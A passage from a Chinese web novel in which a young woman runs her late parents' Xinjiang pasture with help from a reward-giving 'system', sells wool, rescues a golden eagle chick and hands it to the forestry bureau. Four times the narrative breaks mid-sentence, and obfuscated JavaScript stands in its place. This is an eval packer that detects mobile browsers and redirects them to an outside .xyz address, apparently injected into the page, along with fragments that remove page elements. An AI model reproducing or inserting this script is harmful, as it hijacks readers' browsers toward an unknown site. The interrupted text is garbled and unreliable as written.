玛依拉夫妇把剪下来的毛分装好做好标记，家里这才七八个月大的小羊将近剪了各类羊毛150公斤，压实的尿素袋都装了100个袋子。 看着那摞得跟小山一样的袋子姚新泉心里充满了满足感，她把家里的一辆马车弄了过来，又拉了两匹哈萨克马过来拉车。 虽然说还是小马，但是这些羊毛也只是体积大，倒不重，所以几趟也就拉完了。 这两天没雨倒不急着让他们回来，她拿了几个塑料袋分装了一些各类羊毛后下山，给系统提供的买家打电话，之后按照对方提供的地址找上门去。 吾斯曼是这片最大的羊毛贩子，听到姚新泉的来意后他本来也没当一回事儿，一个二十来岁的小姑娘能卖多少羊毛？ 可等姚新泉说完后他反映了一会儿，“你说多少？150公斤？”虽然说也不算特别多，但这也不是普通散户了，吾斯曼来了些兴致，“样品你带来了吗？” 姚新泉点头，将绑在摩托车上的几个塑料袋拿了下来，吾斯曼眼睛亮了，“你自己分了品质？” 姚新泉不好意思地笑了笑，“倒也不算分了品质，只是我觉得羊身上不同不为的毛的质感不大一样，所以是分开剪又分开装的。” 他打开袋子看了看，嗯，这袋是腿上跟腹部的毛，毛比较粗，长度也很短，因为长期卧草，还容易沾染杂质，看起来也没那么干净，不过还好的是他能看得出来里面没有人为加一些杂质。 再开一袋是颈部的毛，这里的毛细归细，但是比较短，一般情况下人家都是收来做围巾的，不过这一袋已经能看得出来她家羊养的不错了，这毛品质挺高的。 等看到肩部和背部的毛后吾斯曼没忍住笑了起来，“家里的都是这样的分开的吗？干干净净的？” 姚新泉自然是点头，吾斯曼什么都没说，转身就去开自己的三轮车，车上放着称，“走走，去你家，你家那些我都要了。” 姚新泉也没问价格，挑了挑眉就跟着他往外走，倒是吾斯曼反而好奇了起来，“你也不问价格？” “我打听过了，你是咱们这边做生意最厚道的，你如果给不出好价格，别人就更给不出了！” 听了这话吾斯曼更高兴了，“你这个丫头子有意思，走走，我去称称你家的羊毛！” 等到了牧场后吾斯曼看着他挑眉，“原来这一片儿是你承包的啊！” 她也没多解释，带着对方往里走到仓库那里，“都在这了，你带了装的东西吗？这尿素袋子看能不能留给我？” 吾斯曼没说话但是心里更满意了几分，第一次做生意肯定不可能完全信任对方，东西多也就罢了，只能抽检，东西少的话总得看过了才放心。 姚新泉去里面搬，吾斯曼在外面称，另外计数，等统计完了之后他才道，“背上这种最好的羊毛是28公斤，肋骨两边的羊毛是33公斤，四肢跟腹部的羊毛是79公斤，脖子这里的十公斤。” 之后吾斯曼拿出了四个巨大的麻袋，姚新泉帮他撑着口袋，他往里倒，果然，外面什么样里面什么样，吾斯曼这下更满意了。 “我给你算一下价格啊，最好的这种我这边的收购价格大概在15块到22块一公斤，你的这个我给到你21块一公斤。肋骨两边的跟脖子的我给你一个价，13块一公斤。剩下的粗毛我按7块来收，你看成吗？” 姚新泉想了想，刚好是1700块，本来想争取一下粗毛按8块来收，但想了想还是算了。 “成，那就这样，你看钱是现在付还是？” 吾斯曼就喜欢这样爽快的人，他从三轮车前边翻出自己的钱包，从里面数了1700块递给她。 “我看你家里羊应该不少，你之后还这样剪，你好好养，我的价格只有高的没有低的！” 最烦的就是那些要么往里面弄点儿水增加重量，要么就是弄点儿面粉的，也不知道把谁当傻子！ 这种情况他是绝对不会跟对方有第二次合作的，你那么能耐， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502082|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己卖去呗？ “我家里有个羊毛加工厂，不加工精细东西，就粗加工，地毯、毛毡什么的，回头我给你送两块儿来！” 姚新泉也不拒绝，笑着接受，等把人送走后，她看着手上的1700块钱送了一口气，也算是见着回钱了啊！ 这钱着实不算少了，他小叔一个高中老师每个月的工资加上各种偏远地区补贴之类的也就不到500块，她婶婶就更别说了。 可是再一想，她爸妈开这个牧场到现在已经四五个月了，这可是头一回见着回头钱啊！ 这么一想又觉得心酸，她爸妈辛辛苦苦承包下来的牧场竟然一分钱还没见着人就走了。 想到这里她又跑回客厅自己爸妈灵位面前把自己赚得1700块摊开来让他们也高兴高兴！ 两天后下雨，羊才剪完毛不好淋雨，所以明天下午就得让他们回来。 现在的话她又认命般地翻出家里的白菜种子、各类萝卜种子、打算种上一波。 “汪！”听到叫声姚新泉转过身去看，就见点点终于睁开了眼睛，她惊喜地把孩子托起来，见他眼睛上蓝膜还没褪，她又把小家伙放下来，自己拿着铁锹跟种子往外走，点点摇摇摆摆地跟着她往外跑。 姚新泉见状笑了笑倒也没阻止。 最费事儿的翻地已经由机器翻过了，这片地不算肥但也还凑合姚新泉就懒得再弄点肥料过来撒一撒。 沟已经划好了，她把家里之前的一件像是围裙的衣服穿上，那衣服前面有个大兜，里面放着的都是菜种子，她倒退着在垄沟里撒上种子，撒满两排之后回来用鞋子轻轻把土盖上。 如今天黑得还算晚，干到七点多后才收工，回家煮了两包泡面，放了一颗荷包蛋，又蒸了一截腊肠把晚饭对付过去，又给家里点点跟皮皮两个小祖宗喂了饭她这才算干完一天的活，去冲了个澡睡觉。 第二天一整天的时间把种子全部撒好，中午就跑去找羊群，跟他们说天气预报讲这两天有雨，所以把羊先赶回去。 两口子把羊赶回去又喂好收拾好才离开。 离开前姚新泉喊住两人，“明天雨要是太大了你们就不用过来了，等雨停了再说。” 从回来到现在好不容易有了一点儿休闲的时间，姚新泉把窗户都打开，坐在了靠在窗户的书桌前，9月的阳光不算特别晒，反而显得很是温暖。 她翻开了自己从上海背回来的苏童的《妻妾成群》看了起来，这本书是她同学推荐给她的，说是看完让人觉得压抑又窒息，如鲠在喉，可却又不得不说，这绝对是一部非常优秀的文学作品。 姚新泉一直还没来得及看，今天终于有点闲工夫翻开了这本书。 回来的每一天都像是在打仗一样，父母的丧事，养家的压力，经营牧场的压力，这一切都压得姚新泉喘不过气来，哪怕此时看着这样一本沉重的小说，对于她来说也算是难得的悠闲了。 9. 第 9 章 大雨如期落下，姚新泉翻出了昨天去山下养殖户家里买的一小桶牛奶，她拿了个小锅正在煮牛奶的时候就听见窗户边上有笃笃笃的声音。 姚新泉心里一下有了许多不好的揣测，小心推开窗户就看到一个马头探了进来，不是皮皮是谁？ 姚新泉没好气地拍了她一巴掌，但这个小姑娘脸皮厚，不疼不痒的还伸着脖子往锅里看，那模样都恨不得从窗框里挤进来，看的姚新泉都无语了，这个馋鬼！ “还没开呢，你等我烧开再放凉了之后再说”，她探出头去看了看，其实马棚子在另一个方向，不算特别远，但也有五六百米，皮皮不乐意过去住，姚新泉没办法就把她暂时安排在了自家房屋后面的一个草棚子里，那边平时就放点杂物，有点漏雨也不怕。 可见到皮皮身上都被淋湿了的模样姚新泉又看得生气，“你说你，你们那么大的马棚里就住你们五个，打扫的干干净净的，还放了草，你到底有啥不满意非要过来淋雨？” 可惜皮皮没办法给她一个解释，只是眨巴着大眼睛看着可怜兮兮的。 姚新泉无奈拍了拍她的脑袋，“进屋来！” 幸好皮皮还没长成大马的样子，进屋来只要她不折腾倒也还好。不过这又有另外一个问题了，这小马驹不会给她随地乱拉吧？ 姚新泉发愁，等皮皮进来后她拉着皮皮的耳朵讲了半天不许随地大小便，只允许她在客厅里待着，还把外面房门开着方便她进出。 然后又翻出了一件自己以前的小衣服给皮皮擦了擦身体，之后就随她自己玩儿了。 难得有点闲功夫，姚新泉翻出了一块儿昨天买回来的五花肉，又把家里剩下的调料翻了出来，家里没八角了，姚新泉记下来回头得去买点儿八角，孜然之类的到时候也一起买上。 她就着仅有的调料做了一锅红烧肉，又蒸上了一锅大米饭，凉拌了一根黄瓜又弄了一碗糖渍西红柿，把牛奶分出来一半凉着，剩下一半倒了点儿茶叶进去煮开，又放了点儿盐，这就算是简单的咸奶茶了。 她一口五花肉一口大米饭吃的喷香，对于肉她就没有觉得不好吃的，五花肉的肥厚，烤羊肉的焦香，卤牛肉筋道和酱香，还有马肉的嚼劲她每一个都很喜欢。 所以按照姚新泉的想法就是将来牧场上得好好养一些口感好的牲畜。 如今牧场上的这些牲畜中，马就暂且不提了，本来也没打算肉用。 牛的话褐牛其实也能算是肉、奶两用的，不过她爸妈是偏向于取奶。他们县里就有一家规模不算小的奶制品加工厂，她爸妈在办这家牧场的时候便已经跟这家加工厂签订了意向书，等奶产出来之后每天往那边供应1000公斤的牛奶，其中700公斤黑白花奶牛的牛奶和300公斤褐牛牛奶，如果有多的那就他们自己处置。 姚新泉大概算了一下，只要不出什么意外那是肯定够的。如果长期未能按照约定的数量供应的话，那价格就要做调整了。 一头正常产奶的黑白花奶牛日均产奶量大概在15-25公斤，褐牛的要少一点，大概在10-18公斤，不过褐牛的牛奶要比黑白花的贵一些。 平均下来大概牛奶在2毛钱一公斤上下，这样一天大概有200块钱收入。 奶牛一般的产奶周期大概在八九个月，就算按照8个月来算，这块儿的毛收入在小五万，刨除掉成本，利润不算特别高。 但是如果把这些牛肉用的话，一方面产肉量不大，另一方面口感也不算特别好，搞不好前期的投入都得亏。 所以按照姚新泉的打算，这些牛中除了那煽了的15头小公牛以外，别的还是用来产奶。 可牧场总不能一年下来就产出15头肉牛吧？ 他们家这群小公牛买回来的时候就打算当年出栏，如今算下来已经快一岁了，等年前的时候再育肥一下，过年的时候刚好出栏。 听着隐隐约约的咩咩声，姚新泉琢磨着可以再买点羯羊回来短期育肥，过年再卖出去。 除了汉族人的春节，还有其他民族的肉孜节跟古尔邦节，这两个时间段也能育肥一波卖出去，不过这个就更往后了。 心里记挂着事情倒是一点儿没影响姚新泉吃饭，大半盆的五花肉吃下去后她有点被齁住了，这时候西红柿已经被杀出汁水了，甜滋滋的清爽又美味！ 她翻出一个不锈钢小勺子一口一口喝了起来，突然感觉到脚边有什么在蛄蛹，低头一看原来是皮皮不知道什么时候已经趴在地上挪到自己脚边了…… 姚新泉瞠目，这个兔崽子咋就馋成这样了…… 一匹睡觉都能站着睡的马，此时侧躺在地面上，一点一点往前挪动，看的心酸又好笑。 姚新泉是真没忍住笑了出来，她没好气地拍了拍皮皮的嘴，刚想说什么就感觉手上黏糊糊的，姚新泉深吸一口气，“皮皮！” 这个兔崽子最边上全是口水！ 她气得去洗了好几遍之后翻出了一个挺大的不锈钢盆，将已经放凉的牛奶倒在不锈钢盆里一些，没倒完。 “你先喝，喝了你如果不拉肚子再给你倒！” 等吃好饭收拾好之后见皮皮没什么异样就又把剩下半盆倒给她，又给点点喂了奶之后她穿着雨衣出去转了一圈，牛圈羊圈马棚都有顶，虽说还通着风，但是一点也不冷她这才放心的回去了。 回去之后把今天的工作日志做好，又把家里收拾了一通之后姚新泉突然觉得有点无聊不知道该干点什么了。 要是在城里倒是能去逛逛街看看电影，但是在山里这大老远跑出去一趟也着实不方便啊！ 可以买个电视机！ 可想了想还是算了，先不说山上信号怎么样的问题，一台彩色电视机随便就得两三千块。这买摩托车是工作需要，电视机又不是什么必需品，还是等等再说吧！ 倒是可以去书店买点儿书回来看看！ 正无聊着突然听到系统的提示音，“检测到东边2公里处有一只坠落在树杈上的金雕，经分析，20分钟后若无法救援，该金雕会坠落身亡。” 什么玩意儿？ 姚新泉皱起了眉头，“你跟我开玩笑吧？金雕被摔死？人家不是天空霸主吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502083|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 系统给自己打补丁，“金雕幼崽。” 姚新泉的心提了起来，因为生活在一片野生动植物非常多得地方，她对这些还是比较关注的，所以知道1989年的时候金雕就已经是我国《国家重点保护野生动物名录》中的国家一级保护动物了。 金雕正常来说在自然界中并没有真正意义上的天敌，如果它们的栖息地没有被破坏，没有被偷猎，没有受到人类生活的干扰，他们的数量不至于这么少。 而且金雕不是把蛋孵出来就不管孩子的鸟类，他们一般会带孩子到3个月左右，等小鸟的翅膀丰满，会独立飞行跟捕猎之后才会离开自己的孩子。 那这只不会飞行、被卡在树上的小鸟妈妈呢？ “系统，鸟妈妈呢？”她一边飞快换上一身适合跑步和爬树的衣服鞋子，一边把自己之前背回来的背包腾空，穿起雨衣装了些东西就往外跑。 两公里20分钟，还在下雨，这可真是！ “已被猎杀。” 姚新泉动作一顿，心里也被揪了起来。 “两公里左右那肯定还是在我牧场范围内，是在我那片云杉林子里面吗？我已经回来一个多星期了，这边有金雕我怎么不知道？还有，哪里来的王八蛋猎杀的？我也没听到枪声啊？” 因为这边野生动物太多了，这些年也还好，前些年还听说过冬天有野生动物袭击人类的消息，所以虽然禁枪，但是私下还是有不少人家是藏有猎枪的。 也许在金雕捕猎的过程中，就成了不知道哪个王八蛋的枪下亡魂了！ 姚新泉心里骂娘跑起来的动作却不见一点停顿。 现在雨虽然不算特别大但是也很阻碍视线，再加上还穿着雨衣，导致姚新泉就算是拼了老命等到目的地的时候也已经过去十三四分钟了。 她努力平复了下呼吸，抬头想找到小鸟所在的地方，可不知道是不是太高了她眯着眼睛看了半天也没找到。 “系统，你确定就在这棵树上对吧？别我费了半天爬上去你跟我说我人家在隔壁”，那她是真的会炸。 系统很是确定，“你往上爬就是了。” 姚新泉嘴角抽了抽，你这话倒是轻飘飘，你倒是抬头看看这树有多高呢！ 云杉这玩意儿是能长到四五十米的！ 姚新泉不敢耽误时间，虽然心里发愁，可还是从背包里翻出了一个爬树的脚蹬子，这玩意儿是她爸自己做的，绑在脚上系紧之后又拿出了一条安全带绑在腰上又系在树上防止坠落。 她表情凝重深吸一口气迈出了向上爬的第一步。 “系统，我要是掉下来了，你可得想办法接住我！” 系统可疑地沉默了，姚新泉也懒得理它，此时全幅心神都放在了这棵树上。 开始爬树前她就已经把雨衣脱了，此时顶着雨，她小心翼翼地一步一步往上爬去。 姚新泉不合时宜地想到小时候她爸带她爬树然后把衣服刮破被她妈揍的情形，她胡乱抹了把脸上的雨水，突然庆幸小时候那么皮呢！ “系统，还有多长时间？” 10. 第 10 章 “两分钟。” 姚新泉深吸一口气加快了爬行的速度，终于看到树杈上那只头上泛白，身上绝大多数地方长着黑色的小羽绒，两条腿跟肚子底下也分布了一些白色的花纹的小鸟。 见到它正脸的时候本来还满心喜悦的姚新泉顿住了，这，这咋长得跟鬼一样？ 时间不等人，她收敛了心神在小鸟颤颤巍巍要掉下去的瞬间一把掐住了小鸟的脖子将它提溜了过来。 还没下树她也不敢放松，她小心翼翼地拉开背包将小鸟塞了进去又拉紧拉链，期间完全不敢低下头去看。她努力忽视自己目前所在的高度，努力忽略耳边的风声雨声，把全部注意力都集中在手上跟脚上，小心却又坚定地往下爬，不知过了多久，双脚接触地面的感觉让姚新泉一瞬间有了落泪的冲动。 她双腿发软，解开腰间的系带后就歪倒在地，这种时候也没忘了避开背后的背包。 姚新泉也顾不得什么躺在雨中树林的地上，小心打开背包，拉开拉链对上小金雕那鬼一样的面孔时也觉得可爱了不少。她用力在小金雕脑门上亲了一口，轻轻擦去眼角那不知是雨水还是泪水的液体后又把它关进背包里，这才爬了起来。 她已经浑身湿透了，不过还是把那件雨衣穿在了身上，往家里走去。 “系统，我刚才最高爬了多高？” “25米。” 姚新泉沉默了一阵，好家伙，□□层楼高，“我要是摔下来怕是得一块儿一块儿的吧？” 系统又沉默了，姚新泉本来没指望它能说些什么，不想过了许久系统突然道，“经与上级协商，若在救助野生动物过程中发生意外，系统会采取措施保护宿主的安全。” 姚新泉轻笑了一声，“你怎么这么厉害啊，还会帮我争取权益呢？” 系统哼哼两声没再说话，姚新泉也没出声，她隔着背包摸了摸包里的小鸟，加快了回去的步伐。 等到家之后姚新泉才发现自己两条腿都在发抖，她坐在椅子上歇了一会儿，又找出一条干净的毛巾，小心将小金雕捧出来拿毛巾把它身上的羽毛全部擦干净。 又找了个点点同款纸盒子跟旧衣服，将小金雕放进去之后这才赶紧去浴室洗了个热水澡又换上干净的衣服出来给自己冲了杯板蓝根。 如今事情可都在屁股后头催着，她要是感冒了那可真完蛋。 等忙完后才有功夫去细细打量这只小金雕，首先可以肯定的是这小家伙胆子是真大，已经用它那稚嫩的鸟喙去啄皮皮的鼻子了。 姚新泉看了一会儿心里在琢磨着要不要给它喂饭吃，小金雕的家长应该已经离开有一段时间了，要把它送走怎么也得到明天雨停了再说。孩子不经饿，还是得喂一点。 屋里温度还可以，她先找了个一次性针筒给小鸟喂了点儿温水，然后才看是看家里还有什么。 “家里还有点儿牛肉”，昨天她下山买奶的时候遇到了有人家杀牛，好像是被车撞了，车主逃逸，养殖户没办法只能杀牛减少损失了。 她没买太多，买了三公斤排骨还有三公斤牛腱子肉，本来打算回来卤的，今天做红烧肉的时候发现家里调料不足就打算明天收拾。 家里有地窖，这个温度坏不了。 她又穿起雨衣去地窖里把牛腱子肉拎了回来，然后切了一小块儿下来又切成碎末，又往里掺了点儿鸡蛋壳碎之后，小心拿镊子夹起来一小块喂到小鸟嘴边，小金雕上来就是一大口！ 看着孩子吃得狼吞虎咽的模样就知道孩子是真饿了，她给喂了一些后摸了摸觉得应该是吃饱了这才放下心来。 实在是累得不行了，安顿好几个小家伙之后姚新泉躺到了床上打算眯一会儿，可心里还在记挂着这些事情。 她可没办法私人喂养小金雕，这肯定是得送到林业局去，看看他们那边怎么打算的。 想到什么姚新泉突然坐起来，“系统，我救助了小金雕得了多少积分啊？” “你这才想起来问啊？”系统阴阳怪气一声之后把显示界面给她看，余额16分。 “它一只就15积分啊！”姚新泉有些惊喜，之前只有1积分她都懒得打开商城，如今暴富之后姚新泉有了消费欲，可当点开商城之后她又沉默了下来。 “系统，这兽医课程是什么鬼？初级要100积分？后面是不是还有中级跟高级？是不是要几千积分？” “你们不应该是直接让我瞬间学会或者掌握某种技能，让我产生一种醍醐灌顶的感觉吗？为什么还要我自己学？” “这些我要真想学在外面也能学啊，为什么非要去做那么艰难的任务才能学呢？系统，我觉得我的付出和回报不一定成正比”，忽略掉新手大礼包。 “你所看到的初级课程，如果学会了之后就已经满足一家私人牧场的兽医要求了，中级课程学完在知识层面已经足以媲美一位资深兽医，至于高级课程，那可是要高于目前地球上所掌握的兽医技术的，你现在说，你还要学吗？” “学，怎么不学呢？”姚新泉露出八颗牙齿的微笑，笑得很是官方，“有你是我的福气。” “这个安全监控是什么东西，竟然是1000积分？”姚新泉又瞪大了眼睛，老天爷啊，她现在是真的觉得自己是个彻彻底底的穷人了。 冒着没小命的风险去救的小鸟价值15个积分，要救将近70只小鸟才够买这个系统…… 全北疆有没有70只金雕…… “这可是非常非常有用的宝贝了！”系统强调，“这套系统给你安装上之后，你的整个牧场将被360度无死角全方位地监控到，无论是有人盗窃还是有动物想来叼羊，系统会第一时间提醒你的同时，还会在他们跨入牧场的时候将其电晕，友情提醒，没有后遗症的那种哦！” 姚新泉眼皮子一跳，“你们能分辨善意还是恶意吗？怎么确定是盗窃还是来找人？或者总不能是个外人就不能靠近吧？”这多吓人啊！来一个电一个，来一个电一个！ “哼哼，你对系统的强大一无所知！”系统的声音里满是得意，“首先，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502084|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套监控系统是能识别恶意的。其次，白天的所有来人都只会先行做出提示处理，晚上紧急情况下或者是对猛兽才会优先电晕。”至于兔子这种食草动物就不会了。 系统懒得解释那么多了，只是道，“反正你现在了解那么多也没用，你等凑够积分再说吧！” 姚新泉：扎心了！ “还有这个市场分析助手是什么东西？”她已经不想问为啥这东西也价值70只小鸟了。 “这个小助手会给你分析市场上未来一年内最稀缺什么产品，你可以针对性地进行养殖，最大力度地提升你牧场的经济效益。” 姚新泉震惊了，这也太牛了吧！ 小鸟在哪里？小鸟在哪里？她现在就要去救小鸟！ 等冷静下来后姚新泉又叹气，“系统啊，你说我啥时候才能安排上这些东西，会不会我这一辈子都搞不到这些兑换奖励？”好是真好，贵也是真贵啊！ 系统的声音似乎比平时多了几分郑重，“宿主，你的牧场是你的终身事业吗？” 姚新泉想了很久后用力点了点头，“是，曾经这是我父母的事业，现在是我的事业，未来我也会将它当做我的终身事业来做的！” 她生在这片土地上，长在这片土地上，虽然是汉族，可她也是从会走路就开始学骑马了，是马背上长大的孩子。 去大城市生活确实很吸引她，毕竟人没有什么就想要什么，那种光鲜亮丽，穿着一双高跟鞋咯噔咯噔地走在办公大楼里的生活看似很好，但是她总觉得人是飘着的。 她好像会很多东西，又好像拥有好多东西，可同时又觉得这些东西是那么的遥不可及、一碰就碎。 相反，在这个牧场里，她每天做着体力活，从睁眼忙到闭眼，可忙得同时她又觉得人是充实的。 羊毛的钱是实打实落在口袋里的，牛肉、羊肉是她一点一点喂出来的。 这片土地养大了曾经的她，她的未来也会落在这里。 姚新泉再次用力点头，“这会是我的终身事业！” 系统嗯了一声随后道，“你得明白，拯救动物和你的牧场经营一样，会成为你的终身事业。” “我们会给你提供便利，可路是需要你一步一步走出来的。” 本以为姚新泉会生气，可没想到她反倒笑了起来，“老实说，你给我的新手大礼包我已经很受宠若惊很是不安了，我很怕你们会让我轻易得到什么，之后你们又可以轻易地夺去这些。” 系统因为什么落在她身上她不去追究，但她没有感受到系统的恶意，反倒是接受了不少帮助。 她也愿意配合去做一些自己也乐意做的事情，与此同时她又不免得防范着万一哪天系统突然剥离了，自己会不会有落差感。 因此像是系统提供给自己的电话黄页、地址，她都会自己再记一遍。 而系统教她技能，让她自己学习可比从天而降不劳而获要好的多。 “我会将救助动物与经营牧场都当做终身事业去经营的。” 11. 第 11 章 这雨果然如天气预报所报道的只下了一天一夜，第二天早晨姚新泉起来的时候天已经晴了，只是到底逃不过一场秋雨一场寒，她在长袖外面套了件外套。 爬起来后先去看了小金雕，这小家伙也是个心大的，在纸箱子里睡得迷迷瞪瞪，见人过来眼睛都没睁。 桌子底下的点点倒是听到动静就小跑了过来贴在姚新泉的脚边就不动了。 皮皮不在屋里，估计自己出门玩儿了。 去热了下剩饭，又把点点的羊奶热上，又给小金雕弄了点儿碎肉过来，小家伙狼吞虎咽地吃完了。 见她那吃相姚新泉都叹气，“这么大一点儿就这么能吃，你以后能养活得起自己吗？” 外面牧场上已经下霜了，姚新泉见马合木提江夫妇正赶着羊出去她赶紧出来叮嘱，“我给你们用背篓装了一筐子煤炭，你们记得背过去晚上用，别省着。” 现在晚上的温度已经到个位数了，他们虽然有个毡包，但是还没生炉子，两人年纪也不小了，晚上不生火肯定受不了。 马合木提江笑道，“别操心我们了，我们捡了好多牛粪足够烧的”，不过到底还是接受了姚新泉的好意将煤炭背走了。玛依拉背后背着好多蔬菜，自从他们逐渐下山生活后饮食习惯就已经被汉化了，要真让他们十天半个月吃不到一点蔬菜两人也受不了。 “新泉，你一回来就没一天闲着的，没事儿下山去转转，山上有我们呢！” 玛依拉还挺心疼小姑娘的，才二十岁就没了父母，虽说如今有这么大个牧场，但是自个儿经营起来也难啊！ 家里最近的亲人对她确实是好，可亲戚也是需要走动的，如果不走动的话迟早会淡了，多下山走动走动挺好的！ 姚新泉不知道她在想这些，可今天她确实需要下山一趟，一方面采买一些东西，另一方面得处理小金雕的事情。 这东西可不能私人豢养，她好心好意救助小动物，可别反倒是自个儿遭了罪。 给皮皮在窗台上放了个苹果后，姚新泉把小金雕放在背篓里骑着摩托车就下山了。 本想先去兽医站问问一般这种情况怎么处置来着，可惜去的时候发现艾力兽医不在，她只好骑着车去了林业局。 姚新泉到刚下车就听到里面闹哄哄的，她走近了两步发现声音更大了，她心里觉得不对，退出去两步看了一下门牌，确实是林业局啊！ 这咋跟菜市场一样？ “鹅喉羚怎么会出现在耕地附近？耕地那边为什么会下老鼠药？这边野生动物多，林业局明确给下面乡镇公社都通知了，明确告知不允许随意放置老鼠药，到底是基层干部工作不到位还是老百姓明知故犯？鹅喉羚明明是前天中毒的，最严重的昨天就已经死在了田埂边上，别告诉我没人发现？如果他们及时报上来，那些症状轻的是不是还能保住？别跟我说什么谁的责任，他娘的现在咱们上上下下你以为谁能逃的过吗？你就庆幸那鹅喉羚群规模小，也没几只，若是规模大，你他娘的就回家吃自己去吧！我不要听解释，我要解决办法！现在立刻马上找出原因，解决问题！” 姚新泉瞪大了眼睛，鹅喉羚群？投毒还是意外？她怎么没听说啊？ 打电话的领导终于看到背着个背篓的姚新泉了，他按下火气平复了下呼吸尽量平静地扯出一个笑容来，“这位同志，有什么事情吗？” 姚新泉赶忙将背篓取了下来，然后小心从里面把小金雕捧了出来。“领导，昨天我在我家牧场的云杉林上发现了掉下鸟巢的一只小金雕。从昨天到现在都没见到别的金雕，没办法我只能送过来了。我大致检查了一下应该没什么问题，也喂过温水还有碎牛肉了，吃喝都没什么问题。” 高勇眼皮子一跳，这鹅喉羚的事情还没解决，怎么又来了个金雕啊？ 而且听这意思大金雕估摸着没了，那这小家伙就成了烫手山芋。 别说他们林业局了，估计市动物园里都没有饲养过金雕的，这家伙接过来谁养？ 倒是能往上报，只是如今林业局里事情太多了，鹅喉羚的事情到时候肯定得处分几个，谁有心思管它？找专家或者送去外地又有点儿太兴师动众了吧！ 高勇有些头痛，可见小金雕亲昵地用自己的鸟喙去蹭姚新泉的手，他突然来了主意，“小同志，你家里是开牧场的是吗？位置在哪儿？多大啊？” 姚新泉没搞明白咋回事儿，咋突然就了解起自己的情况了，可还是老实说了。 高勇笑了笑，“你说说这，我也不怕你笑话，估计你刚也听到了，咱们县里现在出了个大事儿，林业局暂时没有人手管小金雕的事情了，你看你本来就是搞养殖的，又是个热心的好同志，不然这下着雨你哪会专门爬树去救它啊？所以你看，这送佛送到西，要不你先把小金雕带回去照顾？到时候也方便野化放生不是？” 像是知道姚新泉在想什么一样，他又接着道，“事出从权，你是帮我们解决麻烦，自然不能让你担风险，我给你写个条子，你就不算是私自饲养金雕了。” 姚新泉没想到事情的发展会是这样的，她看了看小金雕又看了看高勇，几乎没有犹豫就点了点头。 心理学上有个东西叫吊桥效应，虽说用在她跟小金雕身上没有那么合适，但是也大差不差了。 在25米的高空中她救下了小金雕，一步一步背着她从半空中走到地上，也许他们在某个瞬间的心跳也同频过。 想到这里姚新泉没忍住笑了一下，感觉自己还酸溜溜的。 高勇把特批的条子递给她，“我在上面留了我们办公室的电话，到时候有什么事情你可以直接过来找我，或者打电话也可以，以后有什么麻烦也能来找我。” 见状姚新泉更高兴了，人脉这个东西总是不嫌少的。 两人又寒暄了几句姚新泉就往外走，刚出了门就听见高勇又拿起电话骂人，“已经发生的事情是已经发生的，那以后呢？今天是鹅喉羚明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502085|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天是什么？普氏野马吗？后天是什么？大熊猫吗？你别跟我说新疆没有野生大熊猫，我能不知道吗？我还用你教？我是要告诉你，跟老百姓的宣传工作必须得做好！亡羊补牢为时未晚！今天已经拉裤兜子了，现在要做的就是把勾子给我擦干净，以后不许再犯！” 这领导真是一会儿靠谱一会儿不靠谱的样子！ 她轻轻在背篓上点了点，感受到背篓里的小嘴也跟着在自己点的位置碰了碰，姚新泉心里软软的。 也算是奉旨养鸟了，至于养大了之后小鸟不愿意飞走，那她就没有办法了。 解决完小金雕抚养权的事情后，她又专门跑了趟菜市场买了一只杀好的兔子，嗯，有点儿想养兔子了。 姚新泉看着兔笼子里堆叠在一起的毛茸茸门在沉思，虽然说草原上本来也有兔子，但是如果想做这个生意那肯定还是要正儿八经饲养的，等明年吧，到时候再看看要不要买点儿獭兔回来养。 她又买了一公斤牛肉跟一公斤羊肉，开了那么大个牧场结果吃肉全要靠跟别人买，姚新泉觉得自己有点心酸。 市场上没有鹌鹑卖倒让她有点儿遗憾，还想给小金雕换换口味来着。 点点大了之后主要食物也是肉，他作为一只工作犬可不能缺少营养，这样一来冬天、初春跟暮秋的时候还好一点，夏天还是得买冰箱。 别人怎么喂狗姚新泉管不着，但她反正不愿意亏待了自家牧羊犬。 